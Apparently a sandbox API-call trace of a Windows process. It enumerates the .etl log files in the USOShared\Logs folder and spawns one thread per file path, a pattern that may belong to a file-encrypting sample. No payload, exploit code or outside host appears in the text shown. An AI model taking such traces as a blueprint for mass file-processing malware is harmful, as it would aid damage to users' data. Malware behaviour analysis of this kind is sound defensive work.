[0076.601] wcscat (in: _Dest=0x347ea40, _Source="NotificationUxBroker.002.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" [0076.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ea40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c [0076.602] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfdf01be1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfdfc06a7, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.003.etl", cAlternateFileName="NO3670~1.ETL")) returned 1 [0076.602] wcscmp (_String1="NotificationUxBroker.003.etl", _String2=".") returned 1 [0076.602] wcscmp (_String1="NotificationUxBroker.003.etl", _String2="..") returned 1 [0076.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f128 [0076.602] wcscpy (in: _Dest=0x347f128, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.602] wcscat (in: _Dest=0x347f128, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.602] wcscat (in: _Dest=0x347f128, _Source="NotificationUxBroker.003.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" [0076.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40 [0076.603] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x588b3c6a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x59ae67c8, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.004.etl", cAlternateFileName="NO2FB3~1.ETL")) returned 1 [0076.603] wcscmp (_String1="NotificationUxBroker.004.etl", _String2=".") returned 1 [0076.603] wcscmp (_String1="NotificationUxBroker.004.etl", _String2="..") returned 1 [0076.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347ebd8 [0076.603] wcscpy (in: _Dest=0x347ebd8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.603] wcscat (in: _Dest=0x347ebd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.603] wcscat (in: _Dest=0x347ebd8, _Source="NotificationUxBroker.004.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" [0076.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ebd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0076.603] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xb4b94410, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0xb50917ed, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.005.etl", cAlternateFileName="NO74F7~1.ETL")) returned 1 [0076.603] wcscmp (_String1="NotificationUxBroker.005.etl", _String2=".") returned 1 [0076.603] wcscmp (_String1="NotificationUxBroker.005.etl", _String2="..") returned 1 [0076.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347edf8 [0076.604] wcscpy (in: _Dest=0x347edf8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.604] wcscat (in: _Dest=0x347edf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.604] wcscat (in: _Dest=0x347edf8, _Source="NotificationUxBroker.005.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" [0076.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347edf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48 [0076.604] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x86d6bb14, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x8728eea2, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.006.etl", cAlternateFileName="NOC92C~1.ETL")) returned 1 [0076.604] wcscmp (_String1="NotificationUxBroker.006.etl", _String2=".") returned 1 [0076.604] wcscmp (_String1="NotificationUxBroker.006.etl", _String2="..") returned 1 [0076.604] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347ee80 [0076.604] wcscpy (in: _Dest=0x347ee80, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.604] wcscat (in: _Dest=0x347ee80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.604] wcscat (in: _Dest=0x347ee80, _Source="NotificationUxBroker.006.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" [0076.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ee80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c [0076.605] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe7f77c60, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xebc8ba4e, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.007.etl", cAlternateFileName="NOAEB3~1.ETL")) returned 1 [0076.605] wcscmp (_String1="NotificationUxBroker.007.etl", _String2=".") returned 1 [0076.605] wcscmp (_String1="NotificationUxBroker.007.etl", _String2="..") returned 1 [0076.605] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f458 [0076.605] wcscpy (in: _Dest=0x347f458, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.605] wcscat (in: _Dest=0x347f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.605] wcscat (in: _Dest=0x347f458, _Source="NotificationUxBroker.007.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" [0076.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0076.606] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe1017621, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe10d621a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.008.etl", cAlternateFileName="NO6494~1.ETL")) returned 1 [0076.606] wcscmp (_String1="NotificationUxBroker.008.etl", _String2=".") returned 1 [0076.606] wcscmp (_String1="NotificationUxBroker.008.etl", _String2="..") returned 1 [0076.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347eac8 [0076.606] wcscpy (in: _Dest=0x347eac8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.606] wcscat (in: _Dest=0x347eac8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.606] wcscat (in: _Dest=0x347eac8, _Source="NotificationUxBroker.008.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" [0076.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347eac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54 [0076.607] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2fb7ebe4, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x2fc89ca0, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.009.etl", cAlternateFileName="NO492C~1.ETL")) returned 1 [0076.607] wcscmp (_String1="NotificationUxBroker.009.etl", _String2=".") returned 1 [0076.607] wcscmp (_String1="NotificationUxBroker.009.etl", _String2="..") returned 1 [0076.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f568 [0076.607] wcscpy (in: _Dest=0x347f568, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.607] wcscat (in: _Dest=0x347f568, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.607] wcscat (in: _Dest=0x347f568, _Source="NotificationUxBroker.009.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" [0076.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0076.608] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xd855139b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd87b395e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.010.etl", cAlternateFileName="NO0EF1~1.ETL")) returned 1 [0076.608] wcscmp (_String1="NotificationUxBroker.010.etl", _String2=".") returned 1 [0076.608] wcscmp (_String1="NotificationUxBroker.010.etl", _String2="..") returned 1 [0076.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f348 [0076.608] wcscpy (in: _Dest=0x347f348, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.608] wcscat (in: _Dest=0x347f348, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.608] wcscat (in: _Dest=0x347f348, _Source="NotificationUxBroker.010.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" [0076.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0076.609] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x1ff683d6, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x20000d39, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.011.etl", cAlternateFileName="NOC3D2~1.ETL")) returned 1 [0076.609] wcscmp (_String1="NotificationUxBroker.011.etl", _String2=".") returned 1 [0076.609] wcscmp (_String1="NotificationUxBroker.011.etl", _String2="..") returned 1 [0076.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347ef08 [0076.609] wcscpy (in: _Dest=0x347ef08, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.609] wcscat (in: _Dest=0x347ef08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.609] wcscat (in: _Dest=0x347ef08, _Source="NotificationUxBroker.011.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" [0076.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ef08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0076.610] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x46e2de3d, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x46eecb64, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.012.etl", cAlternateFileName="NOA86A~1.ETL")) returned 1 [0076.610] wcscmp (_String1="NotificationUxBroker.012.etl", _String2=".") returned 1 [0076.610] wcscmp (_String1="NotificationUxBroker.012.etl", _String2="..") returned 1 [0076.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347e930 [0076.610] wcscpy (in: _Dest=0x347e930, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.610] wcscat (in: _Dest=0x347e930, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.610] wcscat (in: _Dest=0x347e930, _Source="NotificationUxBroker.012.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" [0076.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64 [0076.610] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x235d058f, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x23917bad, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.013.etl", cAlternateFileName="NO3128~1.ETL")) returned 1 [0076.610] wcscmp (_String1="NotificationUxBroker.013.etl", _String2=".") returned 1 [0076.611] wcscmp (_String1="NotificationUxBroker.013.etl", _String2="..") returned 1 [0076.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347ed70 [0076.611] wcscpy (in: _Dest=0x347ed70, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.611] wcscat (in: _Dest=0x347ed70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.611] wcscat (in: _Dest=0x347ed70, _Source="NotificationUxBroker.013.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" [0076.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ed70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68 [0076.611] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x8f69453d, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x8f779518, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.014.etl", cAlternateFileName="NO43D2~1.ETL")) returned 1 [0076.611] wcscmp (_String1="NotificationUxBroker.014.etl", _String2=".") returned 1 [0076.611] wcscmp (_String1="NotificationUxBroker.014.etl", _String2="..") returned 1 [0076.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347ec60 [0076.612] wcscpy (in: _Dest=0x347ec60, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0076.612] wcscat (in: _Dest=0x347ec60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0076.612] wcscat (in: _Dest=0x347ec60, _Source="NotificationUxBroker.014.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" [0076.612] Sleep (dwMilliseconds=0x1) [0076.623] Sleep (dwMilliseconds=0x1) [0077.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ec60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec [0077.713] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7fb3688d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7fc1b6b8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.015.etl", cAlternateFileName="NOTIFI~4.ETL")) returned 1 [0077.713] wcscmp (_String1="NotificationUxBroker.015.etl", _String2=".") returned 1 [0077.713] wcscmp (_String1="NotificationUxBroker.015.etl", _String2="..") returned 1 [0077.713] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f1b0 [0077.713] wcscpy (in: _Dest=0x347f1b0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.713] wcscat (in: _Dest=0x347f1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.713] wcscat (in: _Dest=0x347f1b0, _Source="NotificationUxBroker.015.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" [0077.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0077.714] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb502d29, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb5c1a4e, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.016.etl", cAlternateFileName="NOTIFI~3.ETL")) returned 1 [0077.714] wcscmp (_String1="NotificationUxBroker.016.etl", _String2=".") returned 1 [0077.714] wcscmp (_String1="NotificationUxBroker.016.etl", _String2="..") returned 1 [0077.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f678 [0077.714] wcscpy (in: _Dest=0x347f678, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.714] wcscat (in: _Dest=0x347f678, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.714] wcscat (in: _Dest=0x347f678, _Source="NotificationUxBroker.016.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" [0077.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0077.714] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7b53cfc, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x8be7d51, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.017.etl", cAlternateFileName="NOTIFI~1.ETL")) returned 1 [0077.715] wcscmp (_String1="NotificationUxBroker.017.etl", _String2=".") returned 1 [0077.715] wcscmp (_String1="NotificationUxBroker.017.etl", _String2="..") returned 1 [0077.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f788 [0077.715] wcscpy (in: _Dest=0x347f788, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.715] wcscat (in: _Dest=0x347f788, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.715] wcscat (in: _Dest=0x347f788, _Source="NotificationUxBroker.017.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" [0077.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0077.715] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0077.716] wcscmp (_String1="UpdateSessionOrchestration.001.etl", _String2=".") returned 1 [0077.716] wcscmp (_String1="UpdateSessionOrchestration.001.etl", _String2="..") returned 1 [0077.716] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c160 [0077.716] wcscpy (in: _Dest=0x347c160, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.716] wcscat (in: _Dest=0x347c160, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.716] wcscat (in: _Dest=0x347c160, _Source="UpdateSessionOrchestration.001.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" [0077.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 